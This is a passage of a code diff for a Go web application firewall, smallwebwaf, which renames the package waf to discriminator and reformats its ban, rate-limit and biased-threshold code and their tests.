status, took, http.StatusOK, answerTimeLimit, out.text())
}
// Each outside source was asked, and none has answered. The stand-in for
// GeoJS is the lists' too, which name no address.
if !slices.Contains(askedGeoJS(), client) {
t.Errorf("GeoJS was asked about %q, not %s", askedGeoJS(), client)
}
if queries := server.DNSBL.Queries(dnsblZone); queries != 1 {
t.Errorf("%d queries to the DNS blocklist, want 1", queries)
}
if checked := server.AbuseIPDB.Checked(); checked != 1 {
t.Errorf("%d checks with AbuseIPDB, want 1", checked)
}
}
@@ -1,4 +1,4 @@
package waf package discriminator
// The heuristic active_ban, and the code that makes bans, which several // The heuristic active_ban, and the code that makes bans, which several
// heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's. // heuristics share. active_ban reads SWW_MODE; the bans are the ban ledger's.
@@ -29,11 +29,7 @@ type activeBan struct{}
func (activeBan) name() string { return "active_ban" } func (activeBan) name() string { return "active_ban" }
func (activeBan) check( func (activeBan) check(_ context.Context, rq *request, now time.Time) *verdict {
_ context.Context,
rq *request,
now time.Time,
) *verdict {
check := rq.h.ledger.Check check := rq.h.ledger.Check
if rq.h.config.Observe { if rq.h.config.Observe {
check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is check = rq.h.ledger.Find // the ban refuses nothing, and stays as it is
@@ -105,11 +101,7 @@ func (rq *request) countedBytes() int64 {
// the client's counters back to zero. In observe mode it makes no ban and // the client's counters back to zero. In observe mode it makes no ban and
// sets nothing back, and raises the alert for the ban it would have made, // sets nothing back, and raises the alert for the ban it would have made,
// if that alert would be sent. // if that alert would be sent.
func (rq *request) banForLimit( func (rq *request) banForLimit(now time.Time, hit ratelimit.Hit, status int) {
now time.Time,
hit ratelimit.Hit,
status int,
) {
switch hit.Kind { switch hit.Kind {
case ratelimit.KindBytes: case ratelimit.KindBytes:
rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals rq.line.LimitHit = hit.Window + "_bytes" // as counts names the byte totals
@@ -123,8 +115,7 @@ func (rq *request) banForLimit(
rq.h.metrics.LimitHit(hit) rq.h.metrics.LimitHit(hit)
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
!rq.wouldAlertBan(netblock, now, bans.CauseLimit) {
return return
} }
@@ -173,11 +164,8 @@ func (rq *request) banForLimit(
// alert would be sent. It returns the action for that ban. // alert would be sent. It returns the action for that ban.
func (rq *request) banForAttack(now time.Time, notes bans.Notes) string { func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseAttack) {
!rq.wouldAlertBan(netblock, now, bans.CauseAttack) { return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack))
return banAction(
rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseAttack),
)
} }
notes.ASN = rq.line.ASN notes.ASN = rq.line.ASN
@@ -210,16 +198,10 @@ func (rq *request) banForAttack(now time.Time, notes bans.Notes) string {
// CrowdSec's decision on the client, ends. In observe mode it makes no // CrowdSec's decision on the client, ends. In observe mode it makes no
// ban, and raises the alert for the ban it would have made, if that alert // ban, and raises the alert for the ban it would have made, if that alert
// would be sent. It returns the action for that ban. // would be sent. It returns the action for that ban.
func (rq *request) banForCrowdSec( func (rq *request) banForCrowdSec(now time.Time, decision reputation.Decision) string {
now time.Time,
decision reputation.Decision,
) string {
netblock := rq.h.netblock(rq.client) netblock := rq.h.netblock(rq.client)
if rq.h.config.Observe && if rq.h.config.Observe && !rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) {
!rq.wouldAlertBan(netblock, now, bans.CauseCrowdSec) { return banAction(rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec))
return banAction(
rq.h.ledger.WouldBePermanent(netblock, now, bans.CauseCrowdSec),
)
} }
notes := bans.Notes{ notes := bans.Notes{
@@ -232,13 +214,8 @@ func (rq *request) banForCrowdSec(
} }
if rq.h.config.Observe { if rq.h.config.Observe {
ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec( ban, wouldBan := rq.h.ledger.WouldBanForCrowdSec(netblock, now, decision.Expires,
netblock, decision.Scenario, notes)
now,
decision.Expires,
decision.Scenario,
notes,
)
if wouldBan { if wouldBan {
rq.alertBan(ban) rq.alertBan(ban)
} }
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"bufio" "bufio"
@@ -15,8 +15,8 @@ import (
"time" "time"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
const ( const (
@@ -33,52 +33,29 @@ const (
func TestBrokenLimitBansTheClient(t *testing.T) { func TestBrokenLimitBansTheClient(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, _ := startWithClock( s, clk, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
t,
"",
map[string]string{rateLimitPerMinute: "1"},
)
expires := requestlog.FormatTime(clk.Now().Add(time.Hour)) expires := requestlog.FormatTime(clk.Now().Add(time.Hour))
// The request over the limit of one a minute is refused, and bans the // The request over the limit of one a minute is refused, and bans the
// client for an hour, the default. // client for an hour, the default.
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
client,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit || if line.LimitHit != minute || line.Offence != requestlog.OffenceLimit ||
line.BanExpires != expires { line.BanExpires != expires {
t.Errorf( t.Errorf("log line has limit_hit %q, offence %q and ban_expires %q, "+
"log line has limit_hit %q, offence %q and ban_expires %q, "+ "want minute, limit and %s", line.LimitHit, line.Offence, line.BanExpires,
"want minute, limit and %s", expires)
line.LimitHit,
line.Offence,
line.BanExpires,
expires,
)
} }
// Every request while the ban lasts is refused. // Every request while the ban lasts is refused.
clk.advance(time.Hour - time.Second) clk.advance(time.Hour - time.Second)
line = s.get( line = s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client, if line.BanExpires != expires || line.Offence != "" || line.LimitHit != "" {
http.StatusForbidden, t.Errorf("log line has ban_expires %q, offence %q and limit_hit %q, "+
requestlog.ActionTemporarilyBanned, "want %s and neither of the others", line.BanExpires, line.Offence,
) line.LimitHit, expires)
if line.BanExpires != expires || line.Offence != "" ||
line.LimitHit != "" {
t.Errorf(
"log line has ban_expires %q, offence %q and limit_hit %q, "+
"want %s and neither of the others",
line.BanExpires,
line.Offence,
line.LimitHit,
expires,
)
} }
// Once it ends, the client is let through. // Once it ends, the client is let through.
@@ -101,11 +78,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
breakLimit := func() string { breakLimit := func() string {
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get( line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
client,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
return line.BanExpires return line.BanExpires
} }
@@ -146,11 +119,7 @@ func TestBanLengthsFollowTheSettings(t *testing.T) {
func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) { func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
t.Parallel() t.Parallel()
s, clk, server := startWithClock( s, clk, server := startWithClock(t, "", map[string]string{rateLimitPerDay: "2"})
t,
"",
map[string]string{rateLimitPerDay: "2"},
)
// The third request in a day is over the limit of two, and bans the // The third request in a day is over the limit of two, and bans the
// client for an hour. // client for an hour.
@@ -159,11 +128,7 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
for range 3 { for range 3 {
s.get( s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
client,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
} }
// Later the same day the client has its whole allowance again: the // Later the same day the client has its whole allowance again: the
@@ -176,10 +141,7 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) {
banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32"))
if len(banned) != 2 || banned[0].Notes.Refused != 3 { if len(banned) != 2 || banned[0].Notes.Refused != 3 {
t.Errorf( t.Errorf("bans %+v, want two, the first with 3 requests refused", banned)
"bans %+v, want two, the first with 3 requests refused",
banned,
)
} }
} }
@@ -230,18 +192,10 @@ func TestBanCoversTheClientsNetblock(t *testing.T) {
s, _, _ := startWithClock(t, "", env) s, _, _ := startWithClock(t, "", env)
s.get(tc.breaker, http.StatusOK, requestlog.ActionForward) s.get(tc.breaker, http.StatusOK, requestlog.ActionForward)
s.get( s.get(tc.breaker, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
tc.breaker,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
for _, sent := range tc.refused { for _, sent := range tc.refused {
s.get( s.get(sent, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
sent,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
} }
for _, sent := range tc.let { for _, sent := range tc.let {
@@ -266,11 +220,7 @@ func TestBannedClientIsRefusedBeforeItsCountryIsLookedUp(t *testing.T) {
s.get(fromDE, http.StatusOK, requestlog.ActionForward) s.get(fromDE, http.StatusOK, requestlog.ActionForward)
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get( line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
otherClient,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
if line.Country != "" { if line.Country != "" {
t.Errorf("log line has country %q, want none", line.Country) t.Errorf("log line has country %q, want none", line.Country)
} }
@@ -291,11 +241,7 @@ func TestRefusalUnderABanNamesItsHeuristicNetblockAndEnd(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
line := s.get( line := s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
otherClient,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
wantHeuristic(t, line, "active_ban", wantHeuristic(t, line, "active_ban",
`{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`) `{"netblock": "`+clientsNet+`", "ban_expires": "`+expires+`"}`)
} }
@@ -401,12 +347,8 @@ func TestBanNotes(t *testing.T) {
s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(fromDE, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
got = ledger.Bans(netblock) got = ledger.Bans(netblock)
if len(got) != 2 || if len(got) != 2 || got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) {
got[1].Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { t.Errorf("bans %+v, want two, the second with one earlier ban for a limit", got)
t.Errorf(
"bans %+v, want two, the second with one earlier ban for a limit",
got,
)
} }
} }
@@ -422,18 +364,10 @@ func TestMaxBansDropsTheBanOfTheNetblockSeenLongestAgo(t *testing.T) {
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited) s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
s.get(otherClient, http.StatusOK, requestlog.ActionForward) s.get(otherClient, http.StatusOK, requestlog.ActionForward)
s.get( s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
otherClient,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusOK, requestlog.ActionForward)
s.get( s.get(otherClient, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
otherClient,
http.StatusForbidden,
requestlog.ActionTemporarilyBanned,
)
} }
// clock is the time a test sets, by which sww counts requests and // clock is the time a test sets, by which sww counts requests and
@@ -459,14 +393,14 @@ func (c *clock) advance(d time.Duration) {
c.now = c.now.Add(d) c.now = c.now.Add(d)
} }
// startWithClock starts waf, and rproxy in front of an app that answers 200, // startWithClock starts discriminator, and rproxy in front of an app that answers 200,
// with the settings in env on top of trusting localhost's // with the settings in env on top of trusting localhost's
// X-Forwarded-For, clients' AS numbers and countries looked up at // X-Forwarded-For, clients' AS numbers and countries looked up at
// geojsURL, and a clock set to midnight, the start of a bucket in every // geojsURL, and a clock set to midnight, the start of a bucket in every
// window. // window.
func startWithClock( func startWithClock(
t *testing.T, geojsURL string, env map[string]string, t *testing.T, geojsURL string, env map[string]string,
) (*sender, *clock, *waf.Server) { ) (*sender, *clock, *discriminator.Server) {
t.Helper() t.Helper()
app := startApp(t, func(http.ResponseWriter, *http.Request) {}) app := startApp(t, func(http.ResponseWriter, *http.Request) {})
@@ -474,31 +408,20 @@ func startWithClock(
settings := map[string]string{trustedProxies: trustLocalhost} settings := map[string]string{trustedProxies: trustLocalhost}
maps.Copy(settings, env) maps.Copy(settings, env)
addr, out, server := startProxyWithClock( addr, out, server := startProxyWithClock(t, app.URL, geojsURL, clk.Now, settings)
t,
app.URL,
geojsURL,
clk.Now,
settings,
)
return &sender{ return &sender{t: t, addr: addr, discriminatorAddr: server.Addr, out: out}, clk, server
t: t,
addr: addr,
wafAddr: server.Addr,
out: out,
}, clk, server
} }
// sender sends requests to rproxy one after another, each on a connection of its // sender sends requests to rproxy one after another, each on a connection of its
// own, and checks each one's answer and log line. wafAddr is where // own, and checks each one's answer and log line. discriminatorAddr is where
// waf's own endpoints are, which ownEndpointRequest asks. Every request // discriminator's own endpoints are, which ownEndpointRequest asks. Every request
// waf gets must come through the sender, since the log lines are // discriminator gets must come through the sender, since the log lines are
// matched to them in order. // matched to them in order.
type sender struct { type sender struct {
t *testing.T t *testing.T
addr string addr string
wafAddr string discriminatorAddr string
out *output out *output
sent int sent int
} }
@@ -514,11 +437,7 @@ func (s *sender) get(from string, status int, action string) logLine {
// X-Forwarded-For names it, and checks that its answer and its log line // X-Forwarded-For names it, and checks that its answer and its log line
// have status, 0 for the connection closed without an answer, and that // have status, 0 for the connection closed without an answer, and that
// the line has action. It returns the log line. // the line has action. It returns the log line.
func (s *sender) request( func (s *sender) request(from, path string, status int, action string) logLine {
from, path string,
status int,
action string,
) logLine {
s.t.Helper() s.t.Helper()
return s.requestWithHeader(from, path, "", status, action) return s.requestWithHeader(from, path, "", status, action)
@@ -531,15 +450,7 @@ func (s *sender) requestWithHeader(
) logLine { ) logLine {
s.t.Helper() s.t.Helper()
line, _ := s.requestWithBody( line, _ := s.requestWithBody(http.MethodGet, from, path, header, "", status, action)
http.MethodGet,
from,
path,
header,
"",
status,
action,
)
return line return line
} }
@@ -1,4 +1,4 @@
package waf package discriminator
import ( import (
"sneak.berlin/go/smallwebwaf/internal/config" "sneak.berlin/go/smallwebwaf/internal/config"
@@ -22,10 +22,8 @@ type percentage struct {
// below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is // below 100, or SWW_ASN_LIMIT_PERCENT_URL is set. The client's lookup is
// then needed before its request goes on. // then needed before its request goes on.
func biasedThresholdsSet(cfg *config.Config) bool { func biasedThresholdsSet(cfg *config.Config) bool {
return len(cfg.ASNBytesPercent) > 0 || return len(cfg.ASNBytesPercent) > 0 || len(cfg.CountryBytesPercent) > 0 ||
len(cfg.CountryBytesPercent) > 0 || cfg.UnknownLimitPercent < whole || cfg.ASNLimitPercentURL != ""
cfg.UnknownLimitPercent < whole ||
cfg.ASNLimitPercentURL != ""
} }
// limitPercentages returns the client's limit percentages, for the rate // limitPercentages returns the client's limit percentages, for the rate
@@ -50,10 +48,7 @@ func (rq *request) limitPercentages() (percentage, percentage) {
unknown := percentage{percent: whole} unknown := percentage{percent: whole}
if country == "" && !rq.skippedLookupWait { if country == "" && !rq.skippedLookupWait {
unknown = percentage{ unknown = percentage{cfg.UnknownLimitPercent, "SWW_UNKNOWN_LIMIT_PERCENT"}
cfg.UnknownLimitPercent,
"SWW_UNKNOWN_LIMIT_PERCENT",
}
} }
fetched := percentage{percent: whole} fetched := percentage{percent: whole}
@@ -63,41 +58,24 @@ func (rq *request) limitPercentages() (percentage, percentage) {
blocklisted := percentage{percent: whole} blocklisted := percentage{percent: whole}
if rq.blocklisted && cfg.BlocklistAction == "limit" { if rq.blocklisted && cfg.BlocklistAction == "limit" {
blocklisted = percentage{ blocklisted = percentage{cfg.BlocklistLimitPercent, "SWW_BLOCKLIST_ACTION"}
cfg.BlocklistLimitPercent,
"SWW_BLOCKLIST_ACTION",
}
} }
reputationListed := percentage{percent: whole} reputationListed := percentage{percent: whole}
if (rq.dnsblListed || rq.abuseIPDBHit) && if (rq.dnsblListed || rq.abuseIPDBHit) && cfg.ReputationAction == "limit" {
cfg.ReputationAction == "limit" { reputationListed = percentage{cfg.ReputationLimitPercent, "SWW_REPUTATION_ACTION"}
reputationListed = percentage{
cfg.ReputationLimitPercent,
"SWW_REPUTATION_ACTION",
}
} }
const tagSetting = "SWW_TAG_LIMIT_PERCENT" const tagSetting = "SWW_TAG_LIMIT_PERCENT"
asnRequests := lowest( asnRequests := lowest(given(cfg.TagLimitPercent, asnTag(asn), tagSetting), fetched)
given(cfg.TagLimitPercent, asnTag(asn), tagSetting), countryRequests := given(cfg.TagLimitPercent, countryTag(country), tagSetting)
fetched,
)
countryRequests := given(
cfg.TagLimitPercent,
countryTag(country),
tagSetting,
)
otherTags := percentage{percent: whole} otherTags := percentage{percent: whole}
for _, tag := range rq.line.Tags { for _, tag := range rq.line.Tags {
if tag != asnTag(asn) && tag != countryTag(country) { if tag != asnTag(asn) && tag != countryTag(country) {
otherTags = lowest( otherTags = lowest(otherTags, given(cfg.TagLimitPercent, tag, tagSetting))
otherTags,
given(cfg.TagLimitPercent, tag, tagSetting),
)
} }
} }
@@ -107,18 +85,12 @@ func (rq *request) limitPercentages() (percentage, percentage) {
} }
if _, listed := cfg.CountryBytesPercent[country]; listed { if _, listed := cfg.CountryBytesPercent[country]; listed {
countryBytes = given( countryBytes = given(cfg.CountryBytesPercent, country, "SWW_COUNTRY_BYTES_PERCENT")
cfg.CountryBytesPercent,
country,
"SWW_COUNTRY_BYTES_PERCENT",
)
} }
// The limits that lower requests and bytes alike. return lowest(asnRequests, countryRequests, otherTags, unknown, blocklisted,
common := lowest(otherTags, unknown, blocklisted, reputationListed) reputationListed),
lowest(asnBytes, countryBytes, otherTags, unknown, blocklisted, reputationListed)
return lowest(asnRequests, countryRequests, common),
lowest(asnBytes, countryBytes, common)
} }
// given returns the percentage percents, the setting named setting, gives // given returns the percentage percents, the setting named setting, gives
@@ -1,4 +1,4 @@
package waf_test package discriminator_test
import ( import (
"fmt" "fmt"
@@ -15,9 +15,9 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest" "sneak.berlin/go/smallwebwaf/internal/lookup/lookuptest"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/waf"
) )
// The biased thresholds. // The biased thresholds.
@@ -86,11 +86,7 @@ func TestEachBiasedThresholdLowersTheRateLimits(t *testing.T) {
// fromKP, which no setting lists, has the whole limit. // fromKP, which no setting lists, has the whole limit.
for range 3 { for range 3 {
line := s.get( line := s.get(fromKP, http.StatusOK, requestlog.ActionForward)
fromKP,
http.StatusOK,
requestlog.ActionForward,
)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting, line.RateLimitPercent, line.RateLimitPercentSetting,
none) none)
@@ -122,11 +118,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
// The upload's 100 bytes are over half of 199, 99. // The upload's 100 bytes are over half of 199, 99.
line := s.uploadFrom(tc.from) line := s.uploadFrom(tc.from)
if line.LimitHit != minuteBytes { if line.LimitHit != minuteBytes {
t.Errorf( t.Errorf("log line has limit_hit %q, want %s", line.LimitHit, minuteBytes)
"log line has limit_hit %q, want %s",
line.LimitHit,
minuteBytes,
)
} }
wantPercent(t, "bytes_limit_percent", wantPercent(t, "bytes_limit_percent",
@@ -136,11 +128,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
// fromKP, which no setting lists, has the whole limit. // fromKP, which no setting lists, has the whole limit.
line = s.uploadFrom(fromKP) line = s.uploadFrom(fromKP)
if line.LimitHit != "" { if line.LimitHit != "" {
t.Errorf( t.Errorf("log line for %s has limit_hit %q, want none", fromKP, line.LimitHit)
"log line for %s has limit_hit %q, want none",
fromKP,
line.LimitHit,
)
} }
wantPercent(t, "bytes_limit_percent", wantPercent(t, "bytes_limit_percent",
@@ -149,9 +137,7 @@ func TestEachBiasedThresholdLowersTheByteLimits(t *testing.T) {
} }
} }
func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits( func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -192,11 +178,7 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
// The upload's 100 bytes are over 99, half of 199, and within 199. // The upload's 100 bytes are over 99, half of 199, and within 199.
line := s.uploadFrom(fromDE) line := s.uploadFrom(fromDE)
if line.LimitHit != tc.limitHit { if line.LimitHit != tc.limitHit {
t.Errorf( t.Errorf("log line has limit_hit %q, want %q", line.LimitHit, tc.limitHit)
"log line has limit_hit %q, want %q",
line.LimitHit,
tc.limitHit,
)
} }
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
@@ -212,26 +194,16 @@ func TestBytesPercentSettingsTakeThePlaceOfTheOthersForByteLimits(
func TestZeroPercentIsAZeroAllowance(t *testing.T) { func TestZeroPercentIsAZeroAllowance(t *testing.T) {
t.Parallel() t.Parallel()
s, _, _ := startWithLookups( s, _, _ := startWithLookups(t, map[string]string{unknownLimitPercent: "0"})
t,
map[string]string{unknownLimitPercent: "0"},
)
// The first request breaks the limit, and bans the client; the log line // The first request breaks the limit, and bans the client; the log line
// gives the 0. // gives the 0.
line := s.get( line := s.get(unplaced, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
unplaced,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
if line.fields["rate_limit_percent"] != float64(0) || if line.fields["rate_limit_percent"] != float64(0) ||
line.fields["rate_limit_percent_setting"] != unknownLimitPercent { line.fields["rate_limit_percent_setting"] != unknownLimitPercent {
t.Errorf( t.Errorf("log line has rate_limit_percent %v from %v, want 0 from %s",
"log line has rate_limit_percent %v from %v, want 0 from %s", line.fields["rate_limit_percent"], line.fields["rate_limit_percent_setting"],
line.fields["rate_limit_percent"], unknownLimitPercent)
line.fields["rate_limit_percent_setting"],
unknownLimitPercent,
)
} }
s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned) s.get(unplaced, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
@@ -284,11 +256,7 @@ func TestLowestPercentageApplies(t *testing.T) {
// A quarter of 4 requests a minute: the second breaks the limit. // A quarter of 4 requests a minute: the second breaks the limit.
s.get(tc.from, http.StatusOK, requestlog.ActionForward) s.get(tc.from, http.StatusOK, requestlog.ActionForward)
line := s.get( line := s.get(tc.from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
tc.from,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting, line.RateLimitPercent, line.RateLimitPercentSetting,
tc.want) tc.want)
@@ -296,9 +264,7 @@ func TestLowestPercentageApplies(t *testing.T) {
} }
} }
func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage( func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
s, _, _ := startWithLookups(t, map[string]string{ s, _, _ := startWithLookups(t, map[string]string{
@@ -310,11 +276,7 @@ func TestUnknownLimitPercentGivesEveryClientWithoutACountryItsPercentage(
for _, from := range []string{unplaced, "10.0.0.8"} { for _, from := range []string{unplaced, "10.0.0.8"} {
s.get(from, http.StatusOK, requestlog.ActionForward) s.get(from, http.StatusOK, requestlog.ActionForward)
s.get(from, http.StatusOK, requestlog.ActionForward) s.get(from, http.StatusOK, requestlog.ActionForward)
s.get( s.get(from, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
from,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
} }
// One in a country has the whole limit. // One in a country has the whole limit.
@@ -329,7 +291,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers. // says, with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now, server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
map[string]string{unknownLimitPercent: "0"}) map[string]string{unknownLimitPercent: "0"})
// Once the time the request waits for its answer is up, the client // Once the time the request waits for its answer is up, the client
@@ -338,12 +300,7 @@ func TestClientWithoutAnAnswerInTimeHasTheUnknownLimitPercent(t *testing.T) {
serveFromDE(t, server, http.MethodGet, http.NoBody) serveFromDE(t, server, http.MethodGet, http.NoBody)
line := out.requestLine(t) line := out.requestLine(t)
wantLine( wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
t,
line,
http.StatusForbidden,
requestlog.ActionClientIsRateLimited,
)
wantPercent(t, "rate_limit_percent", wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting, line.RateLimitPercent, line.RateLimitPercentSetting,
"0 from "+unknownLimitPercent) "0 from "+unknownLimitPercent)
@@ -378,18 +335,13 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
// In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays // In a synctest bubble, as TestRequestWaitsAsLongAsTheLookupTimeoutSays
// says, with a GeoJS that never answers. // says, with a GeoJS that never answers.
synctest.Test(t, func(t *testing.T) { synctest.Test(t, func(t *testing.T) {
server, out, _ := newWAF(t, silentGeoJSURL, time.Now, server, out, _ := newDiscriminator(t, silentGeoJSURL, time.Now,
map[string]string{ map[string]string{
lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value, lookupTimeout: timeout.String(), tagLists: "vpn=" + vpnList, tc.setting: tc.value,
}) })
began := time.Now() began := time.Now()
serveFromDE( serveFromDE(t, server, http.MethodPost, strings.NewReader("ab"))
t,
server,
http.MethodPost,
strings.NewReader("ab"),
)
want := time.Duration(0) want := time.Duration(0)
if tc.waits { if tc.waits {
@@ -397,19 +349,10 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
} }
if waited := time.Since(began); waited != want { if waited := time.Since(began); waited != want {
t.Errorf( t.Errorf("the request waited %s for its answer, want %s", waited, want)
"the request waited %s for its answer, want %s",
waited,
want,
)
} }
wantLine( wantLine(t, out.requestLine(t), http.StatusOK, requestlog.ActionForward)
t,
out.requestLine(t),
http.StatusOK,
requestlog.ActionForward,
)
// The bubble's clock stops once this function returns, so the // The bubble's clock stops once this function returns, so the
// request to GeoJS, which a request that did not wait leaves // request to GeoJS, which a request that did not wait leaves
@@ -420,9 +363,7 @@ func TestRequestWaitsForItsLookupWhileABiasedThresholdIsSet(t *testing.T) {
} }
} }
func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert( func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for _, tc := range []struct { for _, tc := range []struct {
@@ -464,8 +405,8 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
s.uploadFrom(fromDE) s.uploadFrom(fromDE)
} }
s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, s.requestWithBody(http.MethodPost, fromDE, "/", uploadHeader, uploadBody,
uploadBody, tc.status, tc.action) tc.status, tc.action)
held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32")) held := server.Ledger.Bans(netip.MustParsePrefix(fromDE + "/32"))
if len(held) != 1 { if len(held) != 1 {
@@ -474,11 +415,7 @@ func TestBanForALoweredLimitGivesThePercentageInItsNotesAndItsAlert(
notes := held[0].Notes notes := held[0].Notes
if held[0].Reason != tc.reason { if held[0].Reason != tc.reason {
